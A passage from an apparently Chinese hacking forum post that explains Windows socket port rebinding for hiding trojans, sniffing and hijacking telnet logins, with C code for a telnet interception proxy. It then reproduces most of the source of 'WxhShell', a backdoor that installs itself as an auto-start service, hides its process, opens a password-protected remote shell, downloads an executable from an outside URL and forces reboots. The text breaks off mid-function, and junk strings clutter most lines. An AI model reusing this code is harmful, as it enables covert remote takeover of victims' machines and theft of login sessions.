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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  p=Nord  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,1"w2,=  
,haCZH {  
  saddr.sin_family = AF_INET; QeYO)sc`  
\(PC#H%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K +oFu%  
!H`Q^Xf}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); / -ebx~FX&  
^rI<}cfR  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KKR@u(+"a  
Hz}6XS@  
  这意味着什么?意味着可以进行如下的攻击: *TpzX y  
9{?L3V!+r  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;* vVucx  
GbC-6.~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '2u(fLq3h  
cSYW)c|t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 sE4= 2p`x  
HSk gS  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y"G U"n~  
I*/?*p/I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ?j^[7  
IR(6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i,Yq oe`  
-_bHLoI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6~KtT{MYQ  
ceakTAB[  
  #include  5:mS~  
  #include " h,<PF  
  #include )P:r;a'  
  #include    VJ` c/EVIt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z z@;UbD"  
  int main() 1]HEwTT/1_  
  { FE+Y#  
  WORD wVersionRequested; H[ 6L!  
  DWORD ret; g">E it*[  
  WSADATA wsaData; )$#]h]ac  
  BOOL val; OW (45  
  SOCKADDR_IN saddr; Ih*}1D)7  
  SOCKADDR_IN scaddr; ;$|[z<1RdW  
  int err; 3PB#m.N<  
  SOCKET s; P@ewr}  
  SOCKET sc; WPBn?vb0<  
  int caddsize; KdT1Nb=  
  HANDLE mt; b[Z5:[@\#  
  DWORD tid;   cqzd9L6=  
  wVersionRequested = MAKEWORD( 2, 2 ); `6KTQk'  
  err = WSAStartup( wVersionRequested, &wsaData ); ;b=3iT-2"  
  if ( err != 0 ) { 8}/v[8p  
  printf("error!WSAStartup failed!\n"); E5d?toZ,8"  
  return -1; *u$MqN  
  } cd8~y  
  saddr.sin_family = AF_INET; tAfdbt  
   xtef18i>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1Ih.?7}  
I\JJ7/S`t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;=IC.<Q<}  
  saddr.sin_port = htons(23); $d1+d;Mn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =VMV^[&>  
  { Oj<.3U[C  
  printf("error!socket failed!\n"); 8}m bfu o1  
  return -1; 6fvzTd},  
  } P q\m8iS,w  
  val = TRUE; 6iwIEb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $dAQ'\f7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HC0q_%j  
  { aa8xo5tIp  
  printf("error!setsockopt failed!\n"); gxEa?QH  
  return -1; -!uut7Z|  
  } YNc] x>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^dB~#A1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I^iJ^Z]vx  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OhmKjY/}  
% AqUVt9}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @5n!t1(  
  { x{Y}1+Y4  
  ret=GetLastError(); shbPy   
  printf("error!bind failed!\n"); %Z@+K_X9x  
  return -1; /+\m7IS  
  } Ha l,%W~e  
  listen(s,2); mQmn&:R  
  while(1) Txkmt$h  
  { ^,L vQW4  
  caddsize = sizeof(scaddr); E#t;G: +A  
  //接受连接请求 YfBb=rN2s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *vn^ W  
  if(sc!=INVALID_SOCKET) Nx~9Ug  
  { ^06f\7A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qq;` 9-&j  
  if(mt==NULL) ,}15Cse  
  { ^6!C":f  
  printf("Thread Creat Failed!\n"); 8$O=HE*  
  break; fY@Y$S`Fh  
  } iOpMU  
  } _@CY_`a  
  CloseHandle(mt); >AsD6]  
  } QFOmnbJg  
  closesocket(s); ^|^ek  
  WSACleanup(); YUo{e=m|  
  return 0; %4#,y(dO  
  }   $mvcqn;  
  DWORD WINAPI ClientThread(LPVOID lpParam) O)nLV~X  
  { Rk2V[R.`S  
  SOCKET ss = (SOCKET)lpParam; WPVur{?<  
  SOCKET sc; ;K<e]RI;?  
  unsigned char buf[4096]; &V5[Zj|]  
  SOCKADDR_IN saddr; g z!q  
  long num; yX%T-/XJ  
  DWORD val; *Dr-{\9  
  DWORD ret; y6.}h9~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K;jV"R<9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WF0%zxg]  
  saddr.sin_family = AF_INET; ,Y&LlB 2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 85; BS'  
  saddr.sin_port = htons(23); ' uvTOgP,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M,]C(f>  
  { 3R(GO.n=]  
  printf("error!socket failed!\n"); K*;e>{p  
  return -1; hn9'M!*:O  
  } m&/{iCwp  
  val = 100; n>]`8+a~%X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 32!jF}qpD  
  { Fu4LD-#  
  ret = GetLastError(); bJc<FL<E  
  return -1; x`8rR;N!  
  } _DPWp,k<~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }7iWmXlI  
  { `N$:QWJ  
  ret = GetLastError(); PW(4-H  
  return -1; N3?hyR<T  
  } N ]/ N}b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z-<091,  
  { E (DNK  
  printf("error!socket connect failed!\n"); r|$@Wsb?#  
  closesocket(sc); :;[pl|}tM  
  closesocket(ss); qfp,5@p  
  return -1; _'9("m V  
  } 6*`KC)a  
  while(1) kO:|?}Koc  
  { 0* Ox>O>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 VOc_7q_=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /Q h  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o&]b\dV  
  num = recv(ss,buf,4096,0); >TSPEvWc  
  if(num>0) ,&>LBdG`  
  send(sc,buf,num,0); @<]sW*s  
  else if(num==0) @tQu3Rq@  
  break; N$1ZA)M  
  num = recv(sc,buf,4096,0); 6H+'ezM  
  if(num>0) Rf*we+  
  send(ss,buf,num,0); RTN?[`  
  else if(num==0) cM&5SyxiuE  
  break; ~JjL411pG  
  } +/u)/ey  
  closesocket(ss); YyOPgF] M  
  closesocket(sc); h`O"]2  
  return 0 ; Q]j [+e  
  } IXE`MLc  
?f@g1jJP  
cj ?aCVa  
========================================================== eVL #3|=  
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下边附上一个代码,,WXhSHELL p;;4b@  
5`su^  
========================================================== L eg)q7n  
Hh^EMQk  
#include "stdafx.h" q18IqY*Lo  
W?y7mw_S  
#include <stdio.h> K%NNw7\A  
#include <string.h> ZL!,s#  
#include <windows.h> YU=Q`y[k  
#include <winsock2.h> >R9Q|   
#include <winsvc.h> P#^-{;Bu  
#include <urlmon.h> 5u/dr9n  
ze* =7  
#pragma comment (lib, "Ws2_32.lib") XO[S(q  
#pragma comment (lib, "urlmon.lib") W5C8$Bqm  
ZJL8"(/R  
#define MAX_USER   100 // 最大客户端连接数 !O;su~7  
#define BUF_SOCK   200 // sock buffer ckn0I  
#define KEY_BUFF   255 // 输入 buffer [bE-Uu7q5P  
zNAID-5K;  
#define REBOOT     0   // 重启 .3xpDVW^e  
#define SHUTDOWN   1   // 关机 jA<(#lm;  
Ew`(x30E  
#define DEF_PORT   5000 // 监听端口 m+66x {M2c  
&j}08aK%  
#define REG_LEN     16   // 注册表键长度 ^HS;\8Xvb  
#define SVC_LEN     80   // NT服务名长度 ?vA)F)MS   
h%4aL38  
// 从dll定义API }~W:3A{7;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w&c6iFMd0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); xIt'o(jQH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P{T\zT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }kJfTsFS  
n ~c<[  
// wxhshell配置信息 E[Xqyp!<  
struct WSCFG { 0.pZlv  
  int ws_port;         // 监听端口 U-F\3a;&  
  char ws_passstr[REG_LEN]; // 口令 W=E+/ZvPt  
  int ws_autoins;       // 安装标记, 1=yes 0=no { XI0KiE  
  char ws_regname[REG_LEN]; // 注册表键名 [{!K'V  
  char ws_svcname[REG_LEN]; // 服务名 MP/@Mf\<E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *R'r=C`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,W8E U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ? <F=*eS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "0*yD[2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w!/\dqjv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D.[h`Hkc  
s<z`<^hRe  
}; pyHU +B  
2/WtOQI B  
// default Wxhshell configuration { ^J/S}L]  
struct WSCFG wscfg={DEF_PORT, <K g=?wb  
    "xuhuanlingzhe", ;s*   
    1, :k; c|MW  
    "Wxhshell", +N6IdDN3  
    "Wxhshell", Q,ez AE  
            "WxhShell Service", LiG!xs  
    "Wrsky Windows CmdShell Service", %>p[;>jW  
    "Please Input Your Password: ", Ob~7w[n3  
  1, enC/@){~  
  "http://www.wrsky.com/wxhshell.exe", /b1+ ^|_  
  "Wxhshell.exe" 1'NJ[ C`  
    }; jo-2D[Q{  
!Y8+ Z&^2  
// 消息定义模块 ^4 MJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -(dtAo6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Wtwo1pp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [X9T$7q#  
char *msg_ws_ext="\n\rExit."; DX2_} |$!  
char *msg_ws_end="\n\rQuit."; >^=;b5I2K  
char *msg_ws_boot="\n\rReboot..."; VGY x(  
char *msg_ws_poff="\n\rShutdown..."; k~0#Iy_{M  
char *msg_ws_down="\n\rSave to "; r*q  
cv{icz,%w  
char *msg_ws_err="\n\rErr!"; R7o'V* d  
char *msg_ws_ok="\n\rOK!"; =:M/hM)#  
ybC0Ee@  
char ExeFile[MAX_PATH]; &%UZ"CcA  
int nUser = 0; a Xn:hn~O  
HANDLE handles[MAX_USER]; &ir|2"HV  
int OsIsNt; Iq0[Kd0.j  
}6'%p Bd  
SERVICE_STATUS       serviceStatus; dfA2G<Uc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -k?K|w*X  
<e?1&56  
// 函数声明 aMJW__,  
int Install(void); $$ 9!4  
int Uninstall(void); zv-9z  
int DownloadFile(char *sURL, SOCKET wsh); c W1`[b  
int Boot(int flag); %{|67h  
void HideProc(void); b$eN]L   
int GetOsVer(void); @CtnV|  
int Wxhshell(SOCKET wsl); ~eZ]LW])  
void TalkWithClient(void *cs); 3Q#Tut  
int CmdShell(SOCKET sock); Ez/>3:;  
int StartFromService(void); d4m@u$^1B  
int StartWxhshell(LPSTR lpCmdLine); #AR$'TE#  
DO 0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c Cx_tGR"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); { .j030Q  
J'E?Z0  
// 数据结构和表定义 cGSG}m@B`  
SERVICE_TABLE_ENTRY DispatchTable[] = o zMn8@R  
{ fB)S:f|  
{wscfg.ws_svcname, NTServiceMain}, 7Y%Si5  
{NULL, NULL} M9QYYo@  
}; to{7B7t>q  
~c=F$M^"c  
// 自我安装 nK)hv95i_  
int Install(void) 35H.ZXQp-  
{ aH&Efz^  
  char svExeFile[MAX_PATH]; IvX+yU  
  HKEY key; ~_F<"40  
  strcpy(svExeFile,ExeFile); uC! dy  
Y<t(m$s  
// 如果是win9x系统,修改注册表设为自启动 #Ibpf ,  
if(!OsIsNt) {  \62!{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hva/C{Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ftdx+\O_i&  
  RegCloseKey(key); %,+&Kl I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z.~jqxA9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p=[SDk`  
  RegCloseKey(key); m@W>ku  
  return 0; Eq=j+ch7  
    } 2@!B;6*8q  
  } 48,uO !  
} 3ESrd"W=  
else { !A:d9 k  
d f j;e%H  
// 如果是NT以上系统,安装为系统服务 }Oq P`B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xnDst9%  
if (schSCManager!=0) 6@;sOiN+  
{ HPX JRQBE  
  SC_HANDLE schService = CreateService uE}$ZBi q  
  ( cR=o!2O  
  schSCManager, tZY6{,K%4  
  wscfg.ws_svcname, ;YZ'd"0v  
  wscfg.ws_svcdisp, T|2v1Vj  
  SERVICE_ALL_ACCESS, r3+   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AqT}^fS  
  SERVICE_AUTO_START, mgTzwE_\  
  SERVICE_ERROR_NORMAL, }LY)FT4n  
  svExeFile, bs'hA@r  
  NULL, B%WkM\\!^  
  NULL, A*{CT>  
  NULL, +q%b'!&Q  
  NULL, (W.G&VSn)  
  NULL Fd#Zu.Np  
  ); {(l,Uhxl""  
  if (schService!=0) D,()e^o  
  { 7b7WQ7u  
  CloseServiceHandle(schService); iikMz|:7U  
  CloseServiceHandle(schSCManager); 7M~/[f7Z{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RWFvf   
  strcat(svExeFile,wscfg.ws_svcname); PU4-}!K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LKA/s ~G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *=P*b|P"$  
  RegCloseKey(key); ('2Z&5  
  return 0; /I:&P Pff  
    } Hp*N%  
  } 6m@B.+1  
  CloseServiceHandle(schSCManager); k\r^GB  
} lx7]rkWo|a  
} e|q~t {=9S  
B}J0 d  
return 1; V{ fG~19  
} yG;@S8zC  
I]%Kd('  
// 自我卸载 ltKMvGEF  
int Uninstall(void) EeGTBVms  
{ {B4.G8%Z  
  HKEY key; ^v+p@k  
:sttGXQX  
if(!OsIsNt) { P26"z))~d  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  `fE'$2  
  RegDeleteValue(key,wscfg.ws_regname); i1K$~  
  RegCloseKey(key); f`iDF+h<6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !JBj%|!  
  RegDeleteValue(key,wscfg.ws_regname); .#Z"Sj  
  RegCloseKey(key); y#= j{  
  return 0; =&<d4'(Qk  
  } sLWVgD  
} r7^v@  
} QP<.~^ao  
else { 57q?:M=^  
8A}<-?>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); DS_0p|2  
if (schSCManager!=0) "y5bODq3t  
{ x[u6_6=q9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qj4jM7  
  if (schService!=0) w"W;PdH)  
  { x&r f]R  
  if(DeleteService(schService)!=0) { ?6HnN0A)  
  CloseServiceHandle(schService); Dy:r)\KX  
  CloseServiceHandle(schSCManager); :98:U~ d1  
  return 0; 6Kw?  
  } +N'&6z0Wf  
  CloseServiceHandle(schService); Z:^ S-h  
  } 2H`>Kj  
  CloseServiceHandle(schSCManager); xu{VU^'Y  
} fWb+08}C  
} ^Pah\p4bj  
+~=j3U  
return 1; 4P"XT  
} itg"dGDk  
C XNYWx  
// 从指定url下载文件 -w f>N:  
int DownloadFile(char *sURL, SOCKET wsh) MTq/  
{ rU(-R@["  
  HRESULT hr; l%p,m [  
char seps[]= "/"; m77 !i>V)  
char *token; G:@1.H`  
char *file; m#-&<=  
char myURL[MAX_PATH]; .*X=[" F  
char myFILE[MAX_PATH]; c]i;0j? Dl  
IkG;j+=  
strcpy(myURL,sURL); Vol}wc  
  token=strtok(myURL,seps); ,`YIcrya:  
  while(token!=NULL) sXNb  
  { <;uM/vS i  
    file=token; @%YbptT}  
  token=strtok(NULL,seps); -f1lu*3\  
  } vF&0I2T~l  
}8s&~f H  
GetCurrentDirectory(MAX_PATH,myFILE); o,S(;6pDJ  
strcat(myFILE, "\\"); gVy`||z  
strcat(myFILE, file); zbGZ\pz  
  send(wsh,myFILE,strlen(myFILE),0); B@#vS=g  
send(wsh,"...",3,0); >;R7r|^k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I$4>_D  
  if(hr==S_OK) )o-mM tPj  
return 0; 9MQjSNYzo  
else W}%"xy]N  
return 1; iXWB  
fL("MDt  
} wQ~]VV RN  
ggm'9|  
// 系统电源模块 lL 50PU  
int Boot(int flag) lR9uD9Dr  
{ n,LM"N:   
  HANDLE hToken; !w@i,zqu  
  TOKEN_PRIVILEGES tkp; U0iV E+)Bt  
jw 5 U-zi  
  if(OsIsNt) { ZHlHnUo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c-!3wvt)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B(5>H2  
    tkp.PrivilegeCount = 1; zL3zvOhu}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SoHaGQox  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k*!iUz{]  
if(flag==REBOOT) { +@H{H2J4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M{jq6c  
  return 0; `%EcQ}Nr  
} *-uzsq.W  
else { wh2E$b(-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @,-D P41g  
  return 0; O{Mn\M6  
} :z *jl'L  
  } F2ISg'  
  else { z#rp8-HUDS  
if(flag==REBOOT) { ;>;it5 l=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^dsj1#3z  
  return 0; ]ms+ Va_/  
} 1L!jI2~x}  
else { `e?~c'a@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O: #Sj jK  
  return 0; r* l c#  
} ~jmI`X/  
} ,nGQVb   
,A)Z .OWOq  
return 1; k g Rys  
} 0&b;!N!vJ  
g5u4|+70  
// win9x进程隐藏模块 m~fDDQs  
void HideProc(void) ]*Q,~uV^|  
{ #};Zgixo$  
8V9OMOt!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yy&L&v'  
  if ( hKernel != NULL ) jUgx ;=  
  { a2kAZCQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N 7Y X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |.&GmP  
    FreeLibrary(hKernel); ,"{e$|iY  
  } i\gt @  
)0"T?Ivp]  
return; |F<%gJ  
} vts"  
c': 4e)  
// 获取操作系统版本 1<MJ3"60  
int GetOsVer(void) }gB^C3b6  
{ ;ceg:-Zqo  
  OSVERSIONINFO winfo; ccp9nXv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $J,$_O6  
  GetVersionEx(&winfo); J&}1=s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V@TA~'$|  
  return 1; 4FZ/~Y1}  
  else yLK %lP  
  return 0; &0"*.:J9  
} &^uaoB0  
G;ZN>8NB  
// 客户端句柄模块 RAws{<6T-  
int Wxhshell(SOCKET wsl) U>m{B|H  
{ Aayd3Ph0%  
  SOCKET wsh; 6E:H  
  struct sockaddr_in client; ; C(5lD&\5  
  DWORD myID; _`0DO4IU  
sG[qlzR=8  
  while(nUser<MAX_USER) *yo'Nqu  
{ ]KXyi;n2  
  int nSize=sizeof(client); UvB\kIH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :(tKc3z  
  if(wsh==INVALID_SOCKET) return 1; B4+c3M\$V  
ggYi7Wzsd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zr A*MN  
if(handles[nUser]==0) -U?%A:,a|  
  closesocket(wsh); `w8cV ?  
else gTB|IcOs  
  nUser++; I,,SR"  
  } f~TkU\Rh  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X*d!A >s  
dn Xu(e%  
  return 0; ,!g/1m  
} /6yVbo"  
b&1hj[`)  
// 关闭 socket U2vb&Qu/  
void CloseIt(SOCKET wsh) fb^R3wd$ff  
{ nA.U'=`  
closesocket(wsh); 4e; le&  
nUser--; _%B,^0;C  
ExitThread(0); 3DB= Xh  
} ) hoVB  
W_Y56@7e  
// 客户端请求句柄 zcH"Kh&  
void TalkWithClient(void *cs) R%)F9P$o  
{ ^8 -,S[az  
f;l}Z|dok6  
  SOCKET wsh=(SOCKET)cs; wN/v-^2  
  char pwd[SVC_LEN]; DAORfFG74  
  char cmd[KEY_BUFF]; u(? U[pe[  
char chr[1]; bJR\d0Z  
int i,j; GkU$Z @  
Zp6VH  
  while (nUser < MAX_USER) { eWD!/yr|  
/l3Oi@\  
if(wscfg.ws_passstr) { Gi$\th,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KZ^>_K&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wc"~8Ah  
  //ZeroMemory(pwd,KEY_BUFF); }j2t8B^&:  
      i=0; AE`{k-3=%  
  while(i<SVC_LEN) { 4 2-T&7k  
g}a+%Obb  
  // 设置超时 f><V;D#  
  fd_set FdRead; VsK8:[Al  
  struct timeval TimeOut; HJpx,NU'  
  FD_ZERO(&FdRead); E piF$n  
  FD_SET(wsh,&FdRead); TM_bu  
  TimeOut.tv_sec=8; '}(Fj2P79  
  TimeOut.tv_usec=0; 2~r2ErtS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,kYX|8SO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }S13]Kk?=  
00y(E @~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8. +f@wv  
  pwd=chr[0]; N}{V*H^0QU  
  if(chr[0]==0xd || chr[0]==0xa) { EBQ_c@  
  pwd=0; .N\t3\9}  
  break; 7X> @r"9<  
  } F* Yx1vj  
  i++; s+G( N$0U  
    } dpt P(H  
ZGCp[2$  
  // 如果是非法用户,关闭 socket oq1wU@n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); l-h[I>TW  
} cP@H8|c=  
fmUrwI1 %  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); By}ZHK94I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L/vw7XNrX  
N#R8ez`  
while(1) { GU Mf}y  
K!E\v4  
  ZeroMemory(cmd,KEY_BUFF); p_apVm\t_  
f6Y-ss;'  
      // 自动支持客户端 telnet标准   F%%mcmHD#  
  j=0; wZ `{ i  
  while(j<KEY_BUFF) { [kgCB7.V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H&k&mRi  
  cmd[j]=chr[0]; G'nSnw  
  if(chr[0]==0xa || chr[0]==0xd) { [<f9EeziB  
  cmd[j]=0; w&]$!g4  
  break; Jk{v (W#  
  } 4wa3$Pk  
  j++; .6bo  
    } 0 EA3> $;  
3k8. 5W  
  // 下载文件 %6M%PR~u  
  if(strstr(cmd,"http://")) { !Ow M-t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bw[IW[(~!  
  if(DownloadFile(cmd,wsh)) XZ8]se"C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3qV\XC+  
  else -ntQqHs  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { W5 _KX  
  } {\LLiU}MJC  
  else { } z7yS.{  
mU||(;I  
    switch(cmd[0]) { f&] !;)  
  "uyr@u0b  
  // 帮助 .=hVto[QC  
  case '?': { >29c[O"[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); F^}d>2W(  
    break; 6D{70onY+  
  } bV#j@MJ~0  
  // 安装 6W;`}'ap  
  case 'i': { [w+1<ou;j  
    if(Install()) 2G3Hi;q18  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !l6ht {  
    else @x *,fk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C}9|e?R[Rz  
    break; MdTu722  
    } `P*wZKlW  
  // 卸载 $8[JL \  
  case 'r': { p}X *HJq$  
    if(Uninstall()) `\=~ $&vjC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z> N73 u  
    else {e., $'#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fM*aZc*Y  
    break; bp}]'NA  
    } /}CAd  
  // 显示 wxhshell 所在路径 rvb@4-i>iI  
  case 'p': { |H 5$VSw  
    char svExeFile[MAX_PATH]; Z 2$S'}F  
    strcpy(svExeFile,"\n\r"); MY(51)*  
      strcat(svExeFile,ExeFile); Jt?`(H  
        send(wsh,svExeFile,strlen(svExeFile),0); |Fq\%y#  
    break; k#p6QA hS  
    } 'RV wxd  
  // 重启 A43[i@o  
  case 'b': { Kc>Rd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =">0\#  
    if(Boot(REBOOT)) )"E1/$*k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {D [z>I;D  
    else { N Zwi3  
    closesocket(wsh); vsYbR3O  
    ExitThread(0); N)KN!!  
    }  y'^b{q@  
    break; ]XYD2fR2qA  
    } ~C?)- ]bF  
  // 关机 H8Z|gq1r  
  case 'd': { 4'N 4,3d$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )R"UX:Q>  
    if(Boot(SHUTDOWN)) #V Z js`d6  
